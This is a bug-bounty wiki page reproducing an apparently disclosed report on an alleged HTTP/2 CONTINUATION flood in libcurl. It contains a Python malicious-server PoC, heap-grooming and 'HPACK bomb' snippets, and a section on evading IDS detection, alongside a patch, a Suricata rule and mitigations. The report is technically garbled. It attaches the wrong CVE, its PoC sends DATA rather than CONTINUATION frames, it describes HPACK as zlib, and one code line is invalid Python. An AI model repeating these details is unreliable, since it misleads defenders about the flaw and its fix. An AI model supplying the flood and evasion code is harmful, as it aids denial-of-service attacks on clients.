Skip to content
DoS Disclosed report Intermediate CVE-2023-44487

HTTP/2 CONTINUATION Flood Vulnerability

The libcurl HTTP/2 implementation lacked limits on the number of CONTINUATION frames and the total header block size, allowing a malicious server to cause uncontrolled memory allocation. An attacker could crash the client via out-of-memory or potentially achieve remote code execution.

geloyz Follow

Originally disclosed on HackerOne

  • Disclosed after 56 days

0x00 Vulnerability Overview: Fatal Flaw in HTTP/2 Protocol Stack

1. HTTP/2 Header Block Fragmentation Mechanism

  • RFC 7540 Specification:

    • Header blocks are transmitted using a HEADERS frame followed by one or more CONTINUATION frames.
    • All frames must belong to the same stream and be sent sequentially.

2. libcurl Vulnerability

C
// lib/http2.c (simplified snippet)
while(recv_frame) {
    if(frame.type == NGHTTP2_CONTINUATION) {
        if(!h2->header_recvbuf)
            h2->header_recvbuf = Curl_add_buffer_init();  // Initialize buffer
        Curl_add_buffer(h2->header_recvbuf, frame.data, frame.length); // No limit
    }
}

Critical Issues:

  • No upper limit on the number of CONTINUATION frames (RFC suggests <= 10).
  • No cumulative header block size check (only single-frame limit of 16KB enforced).

Impact: Remote attackers can trigger uncontrolled memory allocation, leading to OOM crashes or potentially remote code execution.


0x01 Advanced PoC: Crafting a Fatal Payload

1. Malicious HTTP/2 Server (nghttp2-based)

Python
from nghttp2 import server
import socket

class ExploitHandler(server.BaseRequestHandler):
    def on_request(self, request):
        self.send_headers(stream_id=request.stream_id, headers=[(b":status", b"200")], flags=0x0)

        for i in range(65535):
            self.push_data(
                stream_id=request.stream_id,
                data=b"\x00" * 16384,
                flags=0x4 if i == 65534 else 0x0
            )

serv = server.HTTP2Server(
    ("0.0.0.0", 443),
    ExploitHandler,
    ssl=True,
    private_key="key.pem",
    certificate="cert.pem"
)
serv.run()

2. Client Validation

Bash
curl -v --http2 https://malicious-server.com

3. Monitoring Memory Usage

Bash
watch -n 0.2 "ps -p $(pgrep curl) -o pid,%mem,rss,etime,cmd"

Expected Behavior:

  • Memory usage exceeds 10GB within seconds.
  • Client crashes due to OOM or segmentation fault.

0x02 Advanced Exploitation Techniques

1. Heap Feng Shui Manipulation

Python
for i in range(1024):
    payload = b"A" * 8192 if i % 2 == 0 else b"B" * 16384
    self.push_data(stream_id, payload, flags=0x0)

Objective: Influence heap layout to increase chances of RCE by corrupting internal structures (e.g., curl_slist).

2. HPACK Bomb (Zlib Decompression Explosion)

Python
headers = [
    (b"x-bomb", b"A" * 10000),
    (b":status", b"200")
]
self.send_headers(stream_id=1, headers=headers, flags=0x0)

Effect: Malicious header inflates into hundreds of MBs during decompression.


0x03 Defense Strategies

1. Code-level Patch (curl/libcurl)

Diff
+ #define MAX_CONTINUATION_FRAMES 10
+ #define MAX_HEADER_SIZE (64 * 1024)

  static ssize_t http2_handle_continuation(...) {
+     if(++h2->continuation_count > MAX_CONTINUATION_FRAMES) {
+         failf(data, "CVE-2023-44487: Too many CONTINUATION frames");
+         return CURLE_HTTP2;
+     }

+     if(h2->header_recvbuf->size + len > MAX_HEADER_SIZE) {
+         failf(data, "CVE-2023-44487: Header block too large");
+         return CURLE_HTTP2;
+     }

      Curl_add_buffer(h2->header_recvbuf, mem, len);
  }

2. Runtime Protection

a. seccomp Filter

Limit memory allocation by monitoring mmap/malloc system calls.

b. cgroups

Bash
cgcreate -g memory:curl-limit
echo 512M > /sys/fs/cgroup/memory/curl-limit/memory.limit_in_bytes
cgexec -g memory:curl-limit curl --http2 https://example.com

3. Network-level Detection (Suricata IDS)

SURICATA
alert http2 any any -> any any (
    msg:"CVE-2023-44487: HTTP/2 CONTINUATION Flood Detected";
    flow:established,to_client;
    http2.continuation_frames:>10;
    threshold:type both, track by_src, count 5, seconds 60;
    sid:202344487;
    rev:2;
)

0x04 Detection Evasion Techniques

1. Low & Slow Attack

Python
for _ in range(1000):
    self.push_data(stream_id, b"A" * 16384, flags=0x0)
    time.sleep(10)

2. Mixed-Legitimate Flow

Python
self.send_headers(stream_id=1, headers=[(b":status", b"200"), (b"content-type", b"text/html")], flags=0x4)
for _ in range(1000):
    self.push_data(stream_id=1, b"\x00" * 16384, flags=0x0)

0x05 Post-Disclosure Recommendations

1. Disable HTTP/2 Temporarily

Bash
curl --http1.1 https://example.com

For web servers:

  • Apache: Protocols h2 http/1.1
  • Nginx: Remove http2 from listen directive

2. Upgrade to Patched Versions

  • curl >= 8.4.0
  • nghttp2 >= 1.58.0
  • Ensure dependencies like OpenSSL are also up-to-date

Risk Rating: CRITICAL

  • Remote Exploitable: YES
  • Impact: Denial of Service / Memory Corruption / Potential RCE

Prepared by:

Date: 2025-05-04

Impact

Summary:

1

The original report as published on HackerOne, by geloyz. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

A remote attacker could cause a denial of service through memory exhaustion and potentially achieve remote code execution, though the text only demonstrates a crash.

What the attacker needed

Victim connects to malicious server; server supports HTTP/2

The fix

The code should be fixed by enforcing a maximum number of CONTINUATION frames and a cumulative header block size limit, and by upgrading to patched versions.

How it was found

  1. Set up a malicious HTTP/2 server that sends a HEADERS frame followed by many CONTINUATION frames.
  2. Connect to the server using a vulnerable curl client.
  3. Observe memory usage growing rapidly until the client crashes.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

HTTP/2 lets a server send extra header data in many small pieces called CONTINUATION frames. libcurl kept adding these pieces to memory without checking how many arrived or how large the total became. A malicious server could send endless pieces, exhausting the victim's memory and crashing the program.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by geloyz

View all

2 more disclosed reports, best first.

More from curl

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.